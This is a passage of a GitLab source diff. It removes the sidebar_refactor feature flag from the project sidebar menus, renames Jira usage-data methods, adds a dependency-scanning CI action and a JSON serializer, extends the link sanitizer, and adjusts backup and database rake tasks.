@@ -131,6 +131,10 @@ module Gitlab
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
end
+ def usage_ping_enabled?
+ Gitlab::CurrentSettings.usage_ping_enabled?
+ end
+
# The array of valid context on which we allow tracking
def valid_context_list
Plan.all_plans
diff --git a/lib/gitlab/usage_data_counters/known_events/common.yml b/lib/gitlab/usage_data_counters/known_events/common.yml
index f2e45a52434..fe1eb090fa4 100644
--- a/lib/gitlab/usage_data_counters/known_events/common.yml
+++ b/lib/gitlab/usage_data_counters/known_events/common.yml
@@ -369,3 +369,8 @@
category: testing
aggregation: weekly
feature_flag: users_expanding_widgets_usage_data
+# Container Security - Network Policies
+- name: clusters_using_network_policies_ui
+ redis_slot: network_policies
+ category: network_policies
+ aggregation: weekly
diff --git a/lib/gitlab/usage_data_non_sql_metrics.rb b/lib/gitlab/usage_data_non_sql_metrics.rb
index bc72a96a468..44d5baa42f6 100644
--- a/lib/gitlab/usage_data_non_sql_metrics.rb
+++ b/lib/gitlab/usage_data_non_sql_metrics.rb
@@ -31,7 +31,7 @@ module Gitlab
def minimum_id(model, column = nil)
end
- def jira_service_data
+ def jira_integration_data
{
projects_jira_server_active: 0,
projects_jira_cloud_active: 0
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index da01b68e8fc..63e6cf03d1f 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -48,7 +48,7 @@ module Gitlab
end
end
- def jira_service_data
+ def jira_integration_data
{
projects_jira_server_active: 0,
projects_jira_cloud_active: 0
diff --git a/lib/gitlab/utils.rb b/lib/gitlab/utils.rb
index 77e0e2ca96c..0b1acaf7dd8 100644
--- a/lib/gitlab/utils.rb
+++ b/lib/gitlab/utils.rb
@@ -169,6 +169,16 @@ module Gitlab
end
end
+ def deep_symbolized_access(data)
+ if data.is_a?(Array)
+ data.map(&method(:deep_symbolized_access))
+ elsif data.is_a?(Hash)
+ data.deep_symbolize_keys
+ else
+ data
+ end
+ end
+
def string_to_ip_object(str)
return unless str
diff --git a/lib/gitlab/utils/sanitize_node_link.rb b/lib/gitlab/utils/sanitize_node_link.rb
index 620d71a7814..ab5d18e9c8a 100644
--- a/lib/gitlab/utils/sanitize_node_link.rb
+++ b/lib/gitlab/utils/sanitize_node_link.rb
@@ -6,7 +6,7 @@ module Gitlab
module Utils
module SanitizeNodeLink
UNSAFE_PROTOCOLS = %w(data javascript vbscript).freeze
- ATTRS_TO_SANITIZE = %w(href src data-src).freeze
+ ATTRS_TO_SANITIZE = %w(href src data-src data-canonical-src).freeze
def remove_unsafe_links(env, remove_invalid_links: true)
node = env[:node]
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 4ea5b5a87de..faa524d171c 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -217,7 +217,7 @@ module Gitlab
end
# rubocop: disable UsageData/LargeTable:
- def jira_service_data
+ def jira_integration_data
data = {
projects_jira_server_active: 0,
projects_jira_cloud_active: 0
diff --git a/lib/object_storage/direct_upload.rb b/lib/object_storage/direct_upload.rb
index 7fbf01f3768..3dd4e5e27d4 100644
--- a/lib/object_storage/direct_upload.rb
+++ b/lib/object_storage/direct_upload.rb
@@ -112,7 +112,6 @@ module ObjectStorage
end
def use_workhorse_s3_client?
- return false unless Feature.enabled?(:use_workhorse_s3_client, default_enabled: true)
return false unless config.use_iam_profile? || config.consolidated_settings?
# The Golang AWS SDK does not support V2 signatures
return false unless credentials.fetch(:aws_signature_version, 4).to_i >= 4
diff --git a/lib/quality/seeders/issues.rb b/lib/quality/seeders/issues.rb
index ea2db2aa5fe..3eb0245f8a2 100644
--- a/lib/quality/seeders/issues.rb
+++ b/lib/quality/seeders/issues.rb
@@ -30,7 +30,7 @@ module Quality
labels: labels.join(',')
}
params[:closed_at] = params[:created_at] + rand(35).days if params[:state] == 'closed'
- issue = ::Issues::CreateService.new(project: project, current_user: team.sample, params: params).execute
+ issue = ::Issues::CreateService.new(project: project, current_user: team.sample, params: params, spam_params: nil).execute
if issue.persisted?
created_issues_count += 1
diff --git a/lib/security/ci_configuration/base_build_action.rb b/lib/security/ci_configuration/base_build_action.rb
index e7a1b4770b9..880bfa6d61d 100644
--- a/lib/security/ci_configuration/base_build_action.rb
+++ b/lib/security/ci_configuration/base_build_action.rb
@@ -41,6 +41,7 @@ module Security
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
YAML
diff --git a/lib/security/ci_configuration/dependency_scanning_build_action.rb b/lib/security/ci_configuration/dependency_scanning_build_action.rb
new file mode 100644
index 00000000000..3ee4ce4da62
--- /dev/null
+++ b/lib/security/ci_configuration/dependency_scanning_build_action.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Security
+ module CiConfiguration
+ class DependencyScanningBuildAction < BaseBuildAction
+ private
+
+ def update_existing_content!
+ @existing_gitlab_ci_content['include'] = generate_includes
+ end
+
+ def template
+ return 'Auto-DevOps.gitlab-ci.yml' if @auto_devops_enabled
+
+ 'Security/Dependency-Scanning.gitlab-ci.yml'
+ end
+ end
+ end
+end
diff --git a/lib/serializers/symbolized_json.rb b/lib/serializers/symbolized_json.rb
new file mode 100644
index 00000000000..78192ce3132
--- /dev/null
+++ b/lib/serializers/symbolized_json.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Serializers
+ # Make the resulting hash have deep symbolized keys
+ class SymbolizedJson
+ class << self
+ def dump(obj)
+ obj
+ end
+
+ def load(data)
+ return if data.nil?
+
+ Gitlab::Utils.deep_symbolized_access(data)
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/groups/context.rb b/lib/sidebars/groups/context.rb
new file mode 100644
index 00000000000..6e0c6c1a2db
--- /dev/null
+++ b/lib/sidebars/groups/context.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Groups
+ class Context < ::Sidebars::Context
+ def initialize(current_user:, container:, **args)
+ super(current_user: current_user, container: container, group: container, **args)
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/groups/menus/scope_menu.rb b/lib/sidebars/groups/menus/scope_menu.rb
new file mode 100644
index 00000000000..02c359e3c99
--- /dev/null
+++ b/lib/sidebars/groups/menus/scope_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Groups
+ module Menus
+ class ScopeMenu < ::Sidebars::Menu
+ override :link
+ def link
+ group_path(context.group)
+ end
+
+ override :title
+ def title
+ context.group.name
+ end
+
+ override :active_routes
+ def active_routes
+ { path: %w[groups#show groups#details] }
+ end
+
+ override :extra_nav_link_html_options
+ def extra_nav_link_html_options
+ { class: 'context-header' }
+ end
+
+ override :render?
+ def render?
+ true
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/groups/panel.rb b/lib/sidebars/groups/panel.rb
new file mode 100644
index 00000000000..fe669bf0b29
--- /dev/null
+++ b/lib/sidebars/groups/panel.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Groups
+ class Panel < ::Sidebars::Panel
+ override :configure_menus
+ def configure_menus
+ set_scope_menu(Sidebars::Groups::Menus::ScopeMenu.new(context))
+ end
+
+ override :render_raw_menus_partial
+ def render_raw_menus_partial
+ 'layouts/nav/sidebar/group_menus'
+ end
+
+ override :aria_label
+ def aria_label
+ context.group.subgroup? ? _('Subgroup navigation') : _('Group navigation')
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/projects/menus/analytics_menu.rb b/lib/sidebars/projects/menus/analytics_menu.rb
index 660965005c3..9f366a19e90 100644
--- a/lib/sidebars/projects/menus/analytics_menu.rb
+++ b/lib/sidebars/projects/menus/analytics_menu.rb
@@ -79,7 +79,7 @@ module Sidebars
end
::Sidebars::MenuItem.new(
- title: _('Value Stream'),
+ title: _('Value stream'),
link: project_cycle_analytics_path(context.project),
container_html_options: { class: 'shortcuts-project-cycle-analytics' },
active_routes: { path: 'cycle_analytics#show' },
diff --git a/lib/sidebars/projects/menus/deployments_menu.rb b/lib/sidebars/projects/menus/deployments_menu.rb
index f3d13e12258..fa6482562e8 100644
--- a/lib/sidebars/projects/menus/deployments_menu.rb
+++ b/lib/sidebars/projects/menus/deployments_menu.rb
@@ -6,8 +6,6 @@ module Sidebars
class DeploymentsMenu < ::Sidebars::Menu
override :configure_menu_items
def configure_menu_items
- return false if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
add_item(feature_flags_menu_item)
add_item(environments_menu_item)
add_item(releases_menu_item)
diff --git a/lib/sidebars/projects/menus/infrastructure_menu.rb b/lib/sidebars/projects/menus/infrastructure_menu.rb
index 8cf7abc613c..aad1ce60d0e 100644
--- a/lib/sidebars/projects/menus/infrastructure_menu.rb
+++ b/lib/sidebars/projects/menus/infrastructure_menu.rb
@@ -6,7 +6,6 @@ module Sidebars
class InfrastructureMenu < ::Sidebars::Menu
override :configure_menu_items
def configure_menu_items
- return false if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
return false unless context.project.feature_available?(:operations, context.current_user)
add_item(kubernetes_menu_item)
@@ -18,7 +17,7 @@ module Sidebars
override :link
def link
- project_clusters_path(context.project)
+ renderable_items.first.link
end
override :extra_container_html_options
diff --git a/lib/sidebars/projects/menus/issues_menu.rb b/lib/sidebars/projects/menus/issues_menu.rb
index 79603803b8f..fd57f21db88 100644
--- a/lib/sidebars/projects/menus/issues_menu.rb
+++ b/lib/sidebars/projects/menus/issues_menu.rb
@@ -12,7 +12,6 @@ module Sidebars
add_item(list_menu_item)
add_item(boards_menu_item)
- add_item(labels_menu_item)
add_item(service_desk_menu_item)
add_item(milestones_menu_item)
@@ -97,19 +96,6 @@ module Sidebars
)
end
- def labels_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
- return ::Sidebars::NilMenuItem.new(item_id: :labels)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Labels'),
- link: project_labels_path(context.project),
- active_routes: { controller: :labels },
- item_id: :labels
- )
- end
-
def service_desk_menu_item
::Sidebars::MenuItem.new(
title: _('Service Desk'),
diff --git a/lib/sidebars/projects/menus/labels_menu.rb b/lib/sidebars/projects/menus/labels_menu.rb
deleted file mode 100644
index 7cb28ababdb..00000000000
--- a/lib/sidebars/projects/menus/labels_menu.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-module Sidebars
- module Projects
- module Menus
- class LabelsMenu < ::Sidebars::Menu
- override :link
- def link
- project_labels_path(context.project)
- end
-
- override :extra_container_html_options
- def extra_container_html_options
- {
- class: 'shortcuts-labels'
- }
- end
-
- override :title
- def title
- _('Labels')
- end
-
- override :title_html_options
- def title_html_options
- {
- id: 'js-onboarding-labels-link'
- }
- end
-
- override :active_routes
- def active_routes
- { controller: :labels }
- end
-
- override :sprite_icon
- def sprite_icon
- 'label'
- end
-
- override :render?
- def render?
- return false if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
- can?(context.current_user, :read_label, context.project) && !context.project.issues_enabled?
- end
- end
- end
- end
-end
diff --git a/lib/sidebars/projects/menus/members_menu.rb b/lib/sidebars/projects/menus/members_menu.rb
deleted file mode 100644
index 498bfa74261..00000000000
--- a/lib/sidebars/projects/menus/members_menu.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# frozen_string_literal: true
-
-module Sidebars
- module Projects
- module Menus
- class MembersMenu < ::Sidebars::Menu
- override :link
- def link
- project_project_members_path(context.project)
- end
-
- override :extra_container_html_options
- def extra_container_html_options
- {
- id: 'js-onboarding-members-link'
- }
- end
-
- override :title
- def title
- _('Members')
- end
-
- override :sprite_icon
- def sprite_icon
- 'users'
- end
-
- override :render?
- def render?
- return false if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
- can?(context.current_user, :read_project_member, context.project)
- end
-
- override :active_routes
- def active_routes
- { controller: :project_members }
- end
- end
- end
- end
-end
diff --git a/lib/sidebars/projects/menus/monitor_menu.rb b/lib/sidebars/projects/menus/monitor_menu.rb
index 8ebdacc7c7e..0d7e0776d5b 100644
--- a/lib/sidebars/projects/menus/monitor_menu.rb
+++ b/lib/sidebars/projects/menus/monitor_menu.rb
@@ -14,11 +14,6 @@ module Sidebars
add_item(error_tracking_menu_item)
add_item(alert_management_menu_item)
add_item(incidents_menu_item)
- add_item(serverless_menu_item)
- add_item(terraform_menu_item)
- add_item(kubernetes_menu_item)
- add_item(environments_menu_item)
- add_item(feature_flags_menu_item)
add_item(product_analytics_menu_item)
true
@@ -26,28 +21,24 @@ module Sidebars
override :link
def link
- if can?(context.current_user, :read_environment, context.project)
- metrics_project_environments_path(context.project)
- else
- project_feature_flags_path(context.project)
- end
+ renderable_items.first&.link
end
override :extra_container_html_options
def extra_container_html_options
{
- class: Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ? 'shortcuts-monitor' : 'shortcuts-operations'
+ class: 'shortcuts-monitor'
}
end
override :title
def title
- Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ? _('Monitor') : _('Operations')
+ _('Monitor')
end
override :sprite_icon
def sprite_icon
- Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ? 'monitor' : 'cloud-gear'
+ 'monitor'
end
override :active_routes
@@ -138,93 +129,6 @@ module Sidebars
)
end
- def serverless_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
- !can?(context.current_user, :read_cluster, context.project)
- return ::Sidebars::NilMenuItem.new(item_id: :serverless)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Serverless'),
- link: project_serverless_functions_path(context.project),
- active_routes: { controller: :functions },
- item_id: :serverless
- )
- end
-
- def terraform_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
- !can?(context.current_user, :read_terraform_state, context.project)
- return ::Sidebars::NilMenuItem.new(item_id: :terraform)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Terraform'),
- link: project_terraform_index_path(context.project),
- active_routes: { controller: :terraform },
- item_id: :terraform
- )
- end
-
- def kubernetes_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
- !can?(context.current_user, :read_cluster, context.project)
- return ::Sidebars::NilMenuItem.new(item_id: :kubernetes)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Kubernetes'),
- link: project_clusters_path(context.project),
- active_routes: { controller: [:cluster_agents, :clusters] },
- container_html_options: { class: 'shortcuts-kubernetes' },
- hint_html_options: kubernetes_hint_html_options,
- item_id: :kubernetes
- )
- end
-
- def kubernetes_hint_html_options
- return {} unless context.show_cluster_hint
-
- { disabled: true,
- data: { trigger: 'manual',
- container: 'body',
- placement: 'right',
- highlight: UserCalloutsHelper::GKE_CLUSTER_INTEGRATION,
- highlight_priority: UserCallout.feature_names[:GKE_CLUSTER_INTEGRATION],
- dismiss_endpoint: user_callouts_path,
- auto_devops_help_path: help_page_path('topics/autodevops/index.md') } }
- end
-
- def environments_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
- !can?(context.current_user, :read_environment, context.project)
- return ::Sidebars::NilMenuItem.new(item_id: :environments)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Environments'),
- link: project_environments_path(context.project),
- active_routes: { controller: :environments },
- container_html_options: { class: 'shortcuts-environments' },
- item_id: :environments
- )
- end
-
- def feature_flags_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
- !can?(context.current_user, :read_feature_flag, context.project)
- return ::Sidebars::NilMenuItem.new(item_id: :feature_flags)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Feature Flags'),
- link: project_feature_flags_path(context.project),
- active_routes: { controller: :feature_flags },
- container_html_options: { class: 'shortcuts-feature-flags' },
- item_id: :feature_flags
- )
- end
-
def product_analytics_menu_item
if Feature.disabled?(:product_analytics, context.project) ||
!can?(context.current_user, :read_product_analytics, context.project)
diff --git a/lib/sidebars/projects/menus/project_information_menu.rb b/lib/sidebars/projects/menus/project_information_menu.rb
index c148e7cf931..a5f06ebea20 100644
--- a/lib/sidebars/projects/menus/project_information_menu.rb
+++ b/lib/sidebars/projects/menus/project_information_menu.rb
@@ -6,9 +6,7 @@ module Sidebars
class ProjectInformationMenu < ::Sidebars::Menu
override :configure_menu_items
def configure_menu_items
- add_item(details_menu_item)
add_item(activity_menu_item)
- add_item(releases_menu_item)
add_item(labels_menu_item)
add_item(members_menu_item)
@@ -22,11 +20,7 @@ module Sidebars
override :extra_container_html_options
def extra_container_html_options
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
- { class: 'shortcuts-project-information' }
- else
- { class: 'shortcuts-project rspec-project-link' }
- end
+ { class: 'shortcuts-project-information' }
end
override :extra_nav_link_html_options
@@ -36,39 +30,16 @@ module Sidebars
override :title
def title
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
- _('Project information')
- else
- _('Project overview')
- end
+ _('Project information')
end
override :sprite_icon
def sprite_icon
- if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
- 'project'
- else
- 'home'
- end
+ 'project'
end
private
- def details_menu_item
- return if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
- ::Sidebars::MenuItem.new(
- title: _('Details'),
- link: project_path(context.project),
- active_routes: { path: 'projects#show' },
- item_id: :project_overview,
- container_html_options: {
- aria: { label: _('Project details') },
- class: 'shortcuts-project'
- }
- )
- end
-
def activity_menu_item
::Sidebars::MenuItem.new(
title: _('Activity'),
@@ -79,26 +50,8 @@ module Sidebars
)
end
- def releases_menu_item
- return ::Sidebars::NilMenuItem.new(item_id: :releases) unless show_releases?
-
- ::Sidebars::MenuItem.new(
- title: _('Releases'),
- link: project_releases_path(context.project),
- item_id: :releases,
- active_routes: { controller: :releases },
- container_html_options: { class: 'shortcuts-project-releases' }
- )
- end
-
- def show_releases?
- Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) &&
- can?(context.current_user, :read_release, context.project) &&
- !context.project.empty_repo?
- end
-
def labels_menu_item
- if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
+ unless can?(context.current_user, :read_label, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :labels)
end
@@ -111,7 +64,7 @@ module Sidebars
end
def members_menu_item
- if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
+ unless can?(context.current_user, :read_project_member, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :members)
end
diff --git a/lib/sidebars/projects/menus/scope_menu.rb b/lib/sidebars/projects/menus/scope_menu.rb
index 1cd0218d4ac..539912aa77b 100644
--- a/lib/sidebars/projects/menus/scope_menu.rb
+++ b/lib/sidebars/projects/menus/scope_menu.rb
@@ -21,8 +21,6 @@ module Sidebars
override :extra_container_html_options
def extra_container_html_options
- return {} if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
{
class: 'shortcuts-project rspec-project-link'
}
@@ -30,8 +28,6 @@ module Sidebars
override :extra_nav_link_html_options
def extra_nav_link_html_options
- return {} if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
-
{ class: 'context-header' }
end
diff --git a/lib/sidebars/projects/menus/settings_menu.rb b/lib/sidebars/projects/menus/settings_menu.rb
index c9d7e736b21..250143df649 100644
--- a/lib/sidebars/projects/menus/settings_menu.rb
+++ b/lib/sidebars/projects/menus/settings_menu.rb
@@ -112,9 +112,8 @@ module Sidebars
return ::Sidebars::NilMenuItem.new(item_id: :monitor)
end
- title = Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ? _('Monitor') : _('Operations')
::Sidebars::MenuItem.new(
- title: title,
+ title: _('Monitor'),
link: project_settings_operations_path(context.project),
active_routes: { path: 'operations#show' },
item_id: :monitor
@@ -136,7 +135,6 @@ module Sidebars
def packages_and_registries_menu_item
if !Gitlab.config.registry.enabled ||
- Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
!can?(context.current_user, :destroy_container_image, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :packages_and_registries)
end
diff --git a/lib/sidebars/projects/panel.rb b/lib/sidebars/projects/panel.rb
index ac7c043a96e..d5311c0a0c1 100644
--- a/lib/sidebars/projects/panel.rb
+++ b/lib/sidebars/projects/panel.rb
@@ -23,7 +23,6 @@ module Sidebars
add_menu(Sidebars::Projects::Menus::RepositoryMenu.new(context))
add_menu(Sidebars::Projects::Menus::IssuesMenu.new(context))
add_menu(Sidebars::Projects::Menus::ExternalIssueTrackerMenu.new(context))
- add_menu(Sidebars::Projects::Menus::LabelsMenu.new(context))
add_menu(Sidebars::Projects::Menus::MergeRequestsMenu.new(context))
add_menu(Sidebars::Projects::Menus::CiCdMenu.new(context))
add_menu(Sidebars::Projects::Menus::SecurityComplianceMenu.new(context))
@@ -35,7 +34,6 @@ module Sidebars
add_menu(confluence_or_wiki_menu)
add_menu(Sidebars::Projects::Menus::ExternalWikiMenu.new(context))
add_menu(Sidebars::Projects::Menus::SnippetsMenu.new(context))
- add_menu(Sidebars::Projects::Menus::MembersMenu.new(context))
add_menu(Sidebars::Projects::Menus::SettingsMenu.new(context))
end
diff --git a/lib/system_check/app/git_user_default_ssh_config_check.rb b/lib/system_check/app/git_user_default_ssh_config_check.rb
index ea6bc9c4f01..2876f1eb688 100644
--- a/lib/system_check/app/git_user_default_ssh_config_check.rb
+++ b/lib/system_check/app/git_user_default_ssh_config_check.rb
@@ -31,7 +31,7 @@ module SystemCheck
end
try_fixing_it("mkdir #{backup_dir}", *instructions)
- for_more_information('doc/ssh/README.md in section "Overriding SSH settings on the GitLab server"')
+ for_more_information('doc/ssh/index.md in section "Overriding SSH settings on the GitLab server"')
fix_and_rerun
end
diff --git a/lib/tasks/gitlab/assets.rake b/lib/tasks/gitlab/assets.rake
index 54e74fd9c8b..db10428e0dc 100644
--- a/lib/tasks/gitlab/assets.rake
+++ b/lib/tasks/gitlab/assets.rake
@@ -5,8 +5,8 @@ require 'fileutils'
module Tasks
module Gitlab
module Assets
- FOSS_ASSET_FOLDERS = %w[app/assets app/views fixtures/emojis vendor/assets/javascripts].freeze
- EE_ASSET_FOLDERS = %w[ee/app/assets ee/app/views].freeze
+ FOSS_ASSET_FOLDERS = %w[app/assets fixtures/emojis vendor/assets/javascripts].freeze
+ EE_ASSET_FOLDERS = %w[ee/app/assets].freeze
JS_ASSET_PATTERNS = %w[*.js config/**/*.js].freeze
JS_ASSET_FILES = %w[package.json yarn.lock].freeze
MASTER_MD5_HASH_FILE = 'master-assets-hash.txt'
diff --git a/lib/tasks/gitlab/background_migrations.rake b/lib/tasks/gitlab/background_migrations.rake
new file mode 100644
index 00000000000..c978a2807ca
--- /dev/null
+++ b/lib/tasks/gitlab/background_migrations.rake
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+namespace :gitlab do
+ namespace :background_migrations do
+ task :finalize, [:job_class_name, :table_name, :column_name, :job_arguments] => :environment do |_, args|
+ [:job_class_name, :table_name, :column_name, :job_arguments].each do |argument|
+ unless args[argument]
+ puts "Must specify #{argument} as an argument".color(:red)
+ exit 1
+ end
+ end
+
+ Gitlab::Database::BackgroundMigration::BatchedMigrationRunner.finalize(
+ args[:job_class_name],
+ args[:table_name],
+ args[:column_name],
+ Gitlab::Json.parse(args[:job_arguments])
+ )
+
+ puts "Done.".color(:green)
+ end
+ end
+end
diff --git a/lib/tasks/gitlab/backup.rake b/lib/tasks/gitlab/backup.rake
index 5b17a8c185a..ed74dd472ff 100644
--- a/lib/tasks/gitlab/backup.rake
+++ b/lib/tasks/gitlab/backup.rake
@@ -282,6 +282,7 @@ namespace :gitlab do
def puts_time(msg)
progress.puts "#{Time.now} -- #{msg}"
+ Gitlab::BackupLogger.info(message: "#{Rainbow.uncolor(msg)}")
end
def progress
@@ -297,7 +298,9 @@ namespace :gitlab do
def repository_backup_strategy
if Feature.enabled?(:gitaly_backup)
- Backup::GitalyBackup.new(progress)
+ max_concurrency = ENV['GITLAB_BACKUP_MAX_CONCURRENCY'].presence
+ max_storage_concurrency = ENV['GITLAB_BACKUP_MAX_STORAGE_CONCURRENCY'].presence
+ Backup::GitalyBackup.new(progress, parallel: max_concurrency, parallel_storage: max_storage_concurrency)
else
Backup::GitalyRpcBackup.new(progress)
end
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index ee986f4c503..2b508b341dd 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -90,73 +90,35 @@ namespace :gitlab do
desc 'This adjusts and cleans db/structure.sql - it runs after db:structure:dump'
task :clean_structure_sql do |task_name|
- structure_file = 'db/structure.sql'
- schema = File.read(structure_file)
+ ActiveRecord::Base.configurations.configs_for(env_name: ActiveRecord::Tasks::DatabaseTasks.env).each do |db_config|
+ structure_file = ActiveRecord::Tasks::DatabaseTasks.dump_filename(db_config.name)
- File.open(structure_file, 'wb+') do |io|
- Gitlab::Database::SchemaCleaner.new(schema).clean(io)
- end
-
- # Allow this task to be called multiple times, as happens when running db:migrate:redo
- Rake::Task[task_name].reenable
- end
+ schema = File.read(structure_file)
- desc 'This dumps GitLab specific database details - it runs after db:structure:dump'
- task :dump_custom_structure do |task_name|
- Gitlab::Database::CustomStructure.new.dump
+ File.open(structure_file, 'wb+') do |io|
+ Gitlab::Database::SchemaCleaner.new(schema).clean(io)
+ end
+ end
# Allow this task to be called multiple times, as happens when running db:migrate:redo
Rake::Task[task_name].reenable
end
- desc 'This loads GitLab specific database details - runs after db:structure:dump'
- task :load_custom_structure do
- configuration = Rails.application.config_for(:database)
-
- ENV['PGHOST'] = configuration['host'] if configuration['host']
- ENV['PGPORT'] = configuration['port'].to_s if configuration['port']
- ENV['PGPASSWORD'] = configuration['password'].to_s if configuration['password']
- ENV['PGUSER'] = configuration['username'].to_s if configuration['username']
-
- command = 'psql'
- dump_filepath = Gitlab::Database::CustomStructure.custom_dump_filepath.to_path
- args = ['-v', 'ON_ERROR_STOP=1', '-q', '-X', '-f', dump_filepath, configuration['database']]
-
- unless Kernel.system(command, *args)
- raise "failed to execute:\n#{command} #{args.join(' ')}\n\n" \
- "Please ensure `#{command}` is installed in your PATH and has proper permissions.\n\n"
- end
- end
-
# Inform Rake that custom tasks should be run every time rake db:structure:dump is run
#
# Rails 6.1 deprecates db:structure:dump in favor of db:schema:dump
Rake::Task['db:structure:dump'].enhance do
Rake::Task['gitlab:db:clean_structure_sql'].invoke
- Rake::Task['gitlab:db:dump_custom_structure'].invoke
end
# Inform Rake that custom tasks should be run every time rake db:schema:dump is run
Rake::Task['db:schema:dump'].enhance do
Rake::Task['gitlab:db:clean_structure_sql'].invoke
- Rake::Task['gitlab:db:dump_custom_structure'].invoke
- end
-
- # Inform Rake that custom tasks should be run every time rake db:structure:load is run
- #
- # Rails 6.1 deprecates db:structure:load in favor of db:schema:load
- Rake::Task['db:structure:load'].enhance do
- Rake::Task['gitlab:db:load_custom_structure'].invoke
- end
-
- # Inform Rake that custom tasks should be run every time rake db:schema:load is run
- Rake::Task['db:schema:load'].enhance do
- Rake::Task['gitlab:db:load_custom_structure'].invoke
end
desc 'Create missing dynamic database partitions'
- task :create_dynamic_partitions do
- Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions
+ task create_dynamic_partitions: :environment do
+ Gitlab::Database::Partitioning::PartitionManager.new.sync_partitions
end
# This is targeted towards deploys and upgrades of GitLab.
@@ -192,7 +154,7 @@ namespace :gitlab do
Rake::Task['gitlab:db:create_dynamic_partitions'].invoke
end
- desc 'reindex a regular (non-unique) index without downtime to eliminate bloat'
+ desc 'reindex a regular index without downtime to eliminate bloat'
task :reindex, [:index_name] => :environment do |_, args|
unless Feature.enabled?(:database_reindexing, type: :ops)
puts "This feature (database_reindexing) is currently disabled.".color(:yellow)
diff --git a/lib/tasks/gitlab/helpers.rake b/lib/tasks/gitlab/helpers.rake
index b61b1833c5a..b467aa3819d 100644
--- a/lib/tasks/gitlab/helpers.rake
+++ b/lib/tasks/gitlab/helpers.rake
@@ -3,6 +3,8 @@
# Prevent StateMachine warnings from outputting during a cron task
StateMachines::Machine.ignore_method_conflicts = true if ENV['CRON']
-task gitlab_environment: :environment do
+task :gitlab_environment do
+ Rake::Task[:environment].invoke unless ENV['SKIP_RAILS_ENV_IN_RAKE']
+
extend SystemCheck::Helpers
end
diff --git a/lib/tasks/gitlab/sidekiq.rake b/lib/tasks/gitlab/sidekiq.rake
index 6f5c3a86dd3..d3060d92e88 100644
--- a/lib/tasks/gitlab/sidekiq.rake
+++ b/lib/tasks/gitlab/sidekiq.rake
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-return if Rails.env.production?
-
namespace :gitlab do
namespace :sidekiq do
def write_yaml(path, banner, object)
@@ -9,31 +7,28 @@ namespace :gitlab do
end
namespace :migrate_jobs do
- def mappings
- ::Gitlab::SidekiqConfig
- .workers
- .reject { |worker| worker.klass.is_a?(Gitlab::SidekiqConfig::DummyWorker) }
